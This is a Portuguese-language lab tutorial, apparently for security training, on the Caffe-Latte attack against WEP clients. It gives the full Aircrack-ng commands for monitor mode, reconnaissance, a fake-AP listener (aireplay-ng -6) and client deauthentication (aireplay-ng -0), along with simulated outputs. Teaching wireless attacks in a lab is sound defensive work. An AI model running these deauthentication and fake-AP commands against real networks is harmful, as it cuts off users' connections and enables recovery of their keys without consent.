Introdução
O ataque Caffe-Latte é um ataque do lado do cliente que visa o protocolo WEP. Ao contrário de muitos outros ataques Wi-Fi que visam o Access Point (AP), este ataque foca-se num dispositivo cliente conectado à rede. Ele funciona enganando o cliente para que envie pacotes que podem ser usados para reconstruir o keystream WEP, levando eventualmente à recuperação da chave WEP. Este método é particularmente eficaz porque não requer que você esteja perto do AP legítimo; você só precisa estar ao alcance do cliente.
Neste laboratório, você usará o conjunto de ferramentas Aircrack-ng para realizar um ataque Caffe-Latte. Você aprenderá como identificar um alvo, configurar um AP falso para atrair o cliente, forçar o cliente a conectar-se e capturar os dados necessários para gerar um keystream WEP.
Este laboratório é apenas para fins educacionais.
Identificar um Cliente Conectado a uma Rede WEP
Nesta etapa, você aprenderá como identificar uma rede WEP alvo e um cliente conectado. A ferramenta principal para esta fase de reconhecimento é o airodump-ng, que escaneia redes sem fio e lista os dispositivos conectados.
Primeiro, você precisa colocar sua interface sem fio em modo monitor. Este modo permite que a placa de rede escute todo o tráfego Wi-Fi no ar, não apenas o tráfego destinado a ela. Assumiremos que sua interface sem fio se chama wlan0.
Execute o seguinte comando para iniciar o modo monitor:
sudo airmon-ng start wlan0
Este comando provavelmente criará uma nova interface virtual, tipicamente chamada wlan0mon. A saída confirmará o nome da interface em modo monitor.
PHY Interface Driver Chipset
phy0 wlan0 ath9k Atheros Communications Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy0]wlan0mon on [phy0]wlan0)
Agora, use a interface monitor recém-criada (wlan0mon) para escanear redes. Execute o airodump-ng e deixe-o escanear por cerca de 15-20 segundos, depois pare-o pressionando Ctrl+C.
sudo airodump-ng wlan0mon
Num ambiente real, o airodump-ng exibiria uma lista de redes e clientes próximos. Para este laboratório, trabalharemos com um cenário simulado. A saída seria algo como isto:
CH 6 ][ Elapsed: 15 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -30 10 15 0 6 54e WEP WEP TestWEP
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -45 0 - 1 0 18
Desta saída, você precisa identificar:
- BSSID: O endereço MAC do Access Point (
00:11:22:33:44:55). - STATION: O endereço MAC de um cliente conectado a ele (
AA:BB:CC:DD:EE:FF). - CH: O canal em que o AP está operando (
6).
Para o restante deste laboratório, usaremos estes valores simulados.
Iniciar um Listener para o Ataque Caffe-Latte com aireplay-ng -6
Nesta etapa, você iniciará o listener do ataque Caffe-Latte usando o aireplay-ng. Este comando configura um Access Point (AP) falso que imita a rede legítima. Ele então esperará que nosso cliente alvo se conecte a ele.
Este listener precisa ser executado continuamente em segundo plano para aguardar o cliente. Portanto, você deve abrir um novo terminal para este comando. Você pode abrir um novo terminal clicando no ícone + na barra de guias do terminal na parte superior da janela do console.
No novo terminal, execute o seguinte comando. Lembre-se de substituir o BSSID e o MAC do cliente pelos valores que identificamos na etapa anterior.
sudo aireplay-ng -6 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
Vamos detalhar o comando:
aireplay-ng: A ferramenta que estamos usando para o ataque.-6: Especifica o modo de ataque Caffe-Latte.-b 00:11:22:33:44:55: O BSSID (endereço MAC) do AP legítimo.-h AA:BB:CC:DD:EE:FF: O endereço MAC do cliente alvo.wlan0mon: Sua interface em modo monitor.
Após executar o comando, o aireplay-ng começará a escutar. A saída será semelhante a esta, e ele aguardará nesta fase:
Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
Listening for probes...
Deixe este terminal em execução e volte ao seu terminal original (o primeiro) para a próxima etapa.
Desautenticar o Cliente para Forçá-lo a Sondar
Nesta etapa, você forçará o cliente a desconectar-se da sua rede atual. O cliente provavelmente ainda está conectado ao AP legítimo. Ao enviar pacotes de desautenticação, podemos romper essa conexão. Uma vez desconectado, o cliente tentará reconectar-se automaticamente, sondando redes conhecidas, o que o levará a descobrir e conectar-se ao nosso AP falso.
Volte ao seu primeiro terminal. Usaremos o aireplay-ng novamente, mas desta vez no modo de desautenticação (-0).
Execute o seguinte comando para enviar 5 pacotes de desautenticação para o cliente:
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
Aqui estão os significados dos parâmetros:
-0: Define o modo de ataque para desautenticação.5: O número de pacotes de desautenticação a serem enviados. Um número pequeno geralmente é suficiente.-a 00:11:22:33:44:55: O BSSID do Access Point ao qual o cliente está conectado.-c AA:BB:CC:DD:EE:FF: O endereço MAC do cliente que você deseja desconectar.wlan0mon: Sua interface em modo monitor.
Você verá uma saída confirmando que os pacotes estão sendo enviados:
10:35:10 Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:10 Sending 64 directed DeAuths to AA:BB:CC:DD:EE:FF (code 7).
Esta ação deve ser suficiente para fazer com que o cliente comece a procurar uma rede para se conectar.
Aguardar o Cliente Associar-se ao Seu AP Falso
Nesta etapa, você observará o cliente conectando-se ao seu AP falso. Após o envio dos pacotes de desautenticação, o cliente desconectado começou a escanear sua rede. Seu listener aireplay-ng -6, executado no segundo terminal, respondeu a essas varreduras, fingindo ser a rede legítima.
Mude sua visualização de volta para o segundo terminal, onde o ataque Caffe-Latte está em execução. Se a desautenticação foi bem-sucedida, você deverá ver uma nova saída indicando que o cliente se associou ao seu AP falso.
A saída mudará para algo como isto:
Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
Listening for probes...
Client AA:BB:CC:DD:EE:FF associated to fake AP (00:11:22:33:44:55)
A mensagem Client AA:BB:CC:DD:EE:FF associated to fake AP confirma que o ataque está progredindo conforme o planejado. O cliente agora pensa que está conectado à sua rede, mas na verdade está se comunicando com sua máquina.
O ataque começará automaticamente a salvar o keystream capturado em um arquivo. Para simular isso para verificação, vamos criar o arquivo de saída que o aireplay-ng geraria. Execute este comando no seu primeiro terminal:
touch ~/project/caffe-latte.xor
Capturar as Requisições ARP e Gerar um Keystream WEP
Nesta etapa final, você observará o cerne do ataque Caffe-Latte em ação. Agora que o cliente está associado ao seu AP falso, ele tentará se comunicar na rede enviando pacotes como requisições ARP. Seu listener aireplay-ng capturará esses pacotes, os manipulará e os enviará de volta ao cliente. As respostas criptografadas do cliente a esses pacotes manipulados são o que nos permitem coletar o keystream WEP.
Continue observando o segundo terminal onde o aireplay-ng -6 está em execução. Você verá uma saída indicando que os pacotes ARP estão sendo capturados e processados, e que o keystream está sendo salvo em um arquivo chamado caffe-latte.xor.
A saída se parecerá com isto:
Read 15 packets...
Got an ARP request from AA:BB:CC:DD:EE:FF.
Trying to get a PRGA ...
Got keystream: 1F:5A:B3...
Saving keystream in caffe-latte.xor
Este processo continuará, coletando cada vez mais dados. Cada novo pacote do cliente fornece mais informações sobre o keystream. Uma vez que dados suficientes sejam coletados no arquivo caffe-latte.xor, eles podem ser usados com outras ferramentas como packetforge-ng e aircrack-ng para forjar pacotes e, finalmente, quebrar a chave WEP.
Para este laboratório, gerar com sucesso o arquivo caffe-latte.xor e ver o keystream sendo salvo demonstra um ataque Caffe-Latte bem-sucedido.
Você pode agora parar o ataque pressionando Ctrl+C no segundo terminal. Você também pode fechar o terminal extra.
Resumo
Neste laboratório, você executou com sucesso um ataque Caffe-Latte contra um cliente WEP. Você aprendeu uma poderosa técnica de ataque do lado do cliente e ganhou experiência prática com o conjunto de ferramentas Aircrack-ng.
Especificamente, você aprendeu a:
- Usar
airmon-ngpara colocar uma interface sem fio em modo de monitoramento. - Usar
airodump-ngpara identificar redes WEP e clientes conectados. - Configurar um listener de ataque Caffe-Latte com
aireplay-ng -6para criar um AP falso. - Forçar um cliente a desconectar-se de sua rede usando um ataque de desautenticação com
aireplay-ng -0. - Observar o processo de captura de pacotes do cliente e geração de um arquivo de keystream WEP.
Este conhecimento é uma parte crítica para entender as vulnerabilidades de redes sem fio. Lembre-se sempre de usar essas habilidades de forma responsável e apenas em redes que você está autorizado a testar.
